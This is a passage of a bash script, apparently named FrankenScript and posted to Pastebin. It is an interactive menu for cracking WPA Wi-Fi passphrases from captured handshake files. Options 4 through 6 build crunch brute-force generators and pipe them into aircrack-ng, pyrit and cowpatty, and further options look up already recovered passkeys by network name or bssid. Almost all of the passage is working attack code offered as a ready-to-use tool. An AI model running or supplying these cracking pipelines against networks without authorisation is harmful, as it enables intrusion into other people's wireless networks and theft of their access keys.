  1321. echo $RED"Other crunch commands?$STAND: $OptionalCrunchOptions"
  1322. echo $RED"Capture file location, name, extension$STAND: $CapNameLocation"
  1323. echo $RED"essid$STAND: $essid"
  1324. echo
  1325. echo $RED"Commands to launch:"
  1326. echo "==================="
  1327. echo $STAND"crunch $PasswordLengthMin $PasswordLengthMax $CharacterSet $OptionalCrunchOptions | aircrack-ng $CapNameLocation -e $essid -w -"
  1328. echo
  1329. # Launch chosen commands/options
  1330. #################################
  1331. read -p $GREEN"Press enter to start"$STAND
  1332. clear
  1333. crunch $PasswordLengthMin $PasswordLengthMax $CharacterSet $OptionalCrunchOptions | aircrack-ng $CapNameLocation -e $essid -w -
  1334.                  fi
  1335.                  if [[ $option == "5" ]]; then
  1336.                                   clear
  1337. echo $RED
  1338. echo "############################################################################"
  1339. echo "#                                                                          #"
  1340. echo "#$STAND           Attack a Capture file without using a wordlist file            $RED#"
  1341. echo "#$STAND                             (Crunch + Pyrit)                             $RED#"
  1342. echo "#                                                                          #"
  1343. echo "############################################################################"$STAND
  1344. echo
  1345. echo $RED"eg: abcdef23456789"
  1346. read -p $GREEN"Input the characters, digits, or symbols to be used$STAND: " CharacterSet
  1347. echo
  1348. echo $RED"eg: 10"
  1349. read -p $GREEN"Input the minimum length of the passwords$STAND: " PasswordLengthMin
  1350. echo
  1351. echo $RED"eg: 10"
  1352. read -p $GREEN"Input the maximum length of the passwords$STAND: " PasswordLengthMax
  1353. echo
  1354. echo $RED"eg:"
  1355. echo $RED"-d <Number> = Limits the amount of times a character, digit, or symbol can appear next to its self."
  1356. echo $RED"-s XXXXXXXXXX = Start point."
  1357. read -p $GREEN"Input any other optional crunch commands?$STAND: " OptionalCrunchOptions
  1358. echo
  1359. echo $RED"eg: sky12345"
  1360. read -p $GREEN"Access Point essid$STAND: " essid
  1361. echo
  1362. echo $RED"eg: /root/Desktop/sky12345.cap"
  1363. read -p $GREEN"Capture file location, name, extension$STAND: " CapNameLocation
  1364. clear
  1365. # Chosen user input options
  1366. ############################
  1367. echo
  1368. echo $RED"You've chosen:"
  1369. echo "=============="
  1370. echo $RED"Minimum length password$STAND: $PasswordLengthMin"
  1371. echo $RED"Maximum length of password$STAND: $PasswordLengthMax"
  1372. echo $RED"Characters, digits, symbols to be used in the passwords$STAND: $CharacterSet"
  1373. echo $RED"Other crunch commands?$STAND: $OptionalCrunchOptions"
  1374. echo $RED"Capture file location, name, extension$STAND: $CapNameLocation"
  1375. echo $RED"essid$STAND: $essid"
  1376. echo
  1377. echo $RED"Commands to launch:"
  1378. echo "==================="
  1379. echo $STAND"crunch $PasswordLengthMin $PasswordLengthMax $CharacterSet $OptionalCrunchOptions | pyrit -e $essid -r $CapNameLocation -i - attack_passthrough"
  1380. echo
  1381. # Launch chosen commands/options
  1382. #################################
  1383. read -p $GREEN"Press enter to start"$STAND
  1384. clear
  1385. crunch $PasswordLengthMin $PasswordLengthMax $CharacterSet $OptionalCrunchOptions | pyrit -e $essid -r $CapNameLocation -i - attack_passthrough
  1386.                  fi
  1387.                  if [[ $option == "6" ]]; then
  1388.                                   clear
  1389. echo $RED
  1390. echo "############################################################################"
  1391. echo "#                                                                          #"
  1392. echo "#$STAND           Attack a Capture file without using a wordlist file            $RED#"
  1393. echo "#$STAND                       (Crunch + Pyrit + Cowpatty)                        $RED#"
  1394. echo "#                                                                          #"
  1395. echo "############################################################################"$STAND
  1396. echo
  1397. echo $RED"eg: abcdef23456789"
  1398. read -p $GREEN"Input the characters, digits, or symbols to be used$STAND: " CharacterSet
  1399. echo
  1400. echo $RED"eg: 10"
  1401. read -p $GREEN"Input the minimum length of the passwords$STAND: " PasswordLengthMin
  1402. echo
  1403. echo $RED"eg: 10"
  1404. read -p $GREEN"Input the maximum length of the passwords$STAND: " PasswordLengthMax
  1405. echo
  1406. echo $RED"eg:"
  1407. echo $RED"-d <Number> = Limits the amount of times a character, digit, or symbol can appear next to its self."
  1408. echo $RED"-s XXXXXXXXXX = Start point."
  1409. read -p $GREEN"Input any other optional crunch commands?$STAND: " OptionalCrunchOptions
  1410. echo
  1411. echo $RED"eg: sky12345"
  1412. read -p $GREEN"Access Point essid$STAND: " essid
  1413. echo
  1414. echo $RED"eg: /root/Desktop/sky12345.cap"
  1415. read -p $GREEN"Capture file location, name, extension$STAND: " CapNameLocation
  1416. clear
  1417. # Chosen user input options
  1418. ############################
  1419. echo
  1420. echo $RED"You've chosen:"
  1421. echo "=============="
  1422. echo $RED"Minimum length password$STAND: $PasswordLengthMin"
  1423. echo $RED"Maximum length of password$STAND: $PasswordLengthMax"
  1424. echo $RED"Characters, digits, symbols to be used in the passwords$STAND: $CharacterSet"
  1425. echo $RED"Other crunch commands?$STAND: $OptionalCrunchOptions"
  1426. echo $RED"Capture file location, name, extension$STAND: $CapNameLocation"
  1427. echo $RED"essid$STAND: $essid"
  1428. echo
  1429. echo $RED"Commands to launch:"
  1430. echo "==================="
  1431. echo $STAND"crunch $PasswordLengthMin $PasswordLengthMax $CharacterSet $OptionalCrunchOptions | pyrit -e $essid -i - -o - passthrough | cowpatty -d - -r $CapNameLocation -s $essid"
  1432. echo
  1433. # Launch chosen commands/options
  1434. #################################
  1435. read -p $GREEN"Press enter to start"$STAND
  1436. clear
  1437. crunch $PasswordLengthMin $PasswordLengthMax $CharacterSet $OptionalCrunchOptions | pyrit -e $essid -i - -o - passthrough | cowpatty -d - -r $CapNameLocation -s $essid
  1438. fi
  1439. ;;
  1440. 7)
  1441. ###########################
  1442. # Show Recovered Passkeys #
  1443. ###########################
  1444. gnome-open $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1445.  ;;
  1446. 8)
  1447. ##############################################################################
  1448. # Check In Recovered-WPA-Passkeys.txt To See If You Already Have The Passkey #
  1449. ##############################################################################
  1450. ###################
  1451. # Passkey Checker #
  1452. ###################
  1453. clear
  1454. echo $RED"How would you like to search."
  1455. echo $GREEN"[1]$BLUE = Search using the bssid."
  1456. echo $GREEN"[2]$BLUE = Search using the essid."
  1457. echo $GREEN"[0]$BLUE = Return To Previous Menu."
  1458. echo $GREEN"1, 2 or 0?"$STAND
  1459. read option
  1460.  
  1461. if [[ $option == "1" ]]; then
  1462. while true
  1463. do
  1464.    echo -n $GREEN"Please input the bssid of the access point you would like to check for?$STAND: "
  1465.    read -e SEARCHbssid
  1466.    grep -B 1 -A 2 $SEARCHbssid $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1467.    echo
  1468. echo -n "Would you like to search again? (y or n): "
  1469. read -e CONFIRM
  1470. case $CONFIRM in
  1471. n|N|NO|no|No)
  1472. break ;;
  1473. *) echo ""
  1474. esac
  1475. done
  1476. fi
  1477. if [[ $option == "2" ]]; then
  1478. while true
  1479. do
  1480.    echo -n $GREEN"Please input the essid of the access point you would like to check for?$STAND: "
  1481.    read -e SEARCHessid
  1482.    grep -A 3 $SEARCHessid $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1483.    echo
  1484. echo -n "Would you like to search again? (y or n): "
  1485. read -e CONFIRM
  1486. case $CONFIRM in
  1487. n|N|NO|no|No)
  1488. break ;;
  1489. *) echo ""
  1490. esac
  1491. done
  1492. fi
  1493. if [[ $option == "0" ]]; then
  1494. echo "Returning To Menu"
  1495. fi
  1496.  ;;
  1497. 0) exit 0;;
  1498. *) echo "You've chosen an invalid option, please choose again";
  1499. echo "Press [Enter] to continue. . ." ; read ;;
  1500. esac
  1501. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!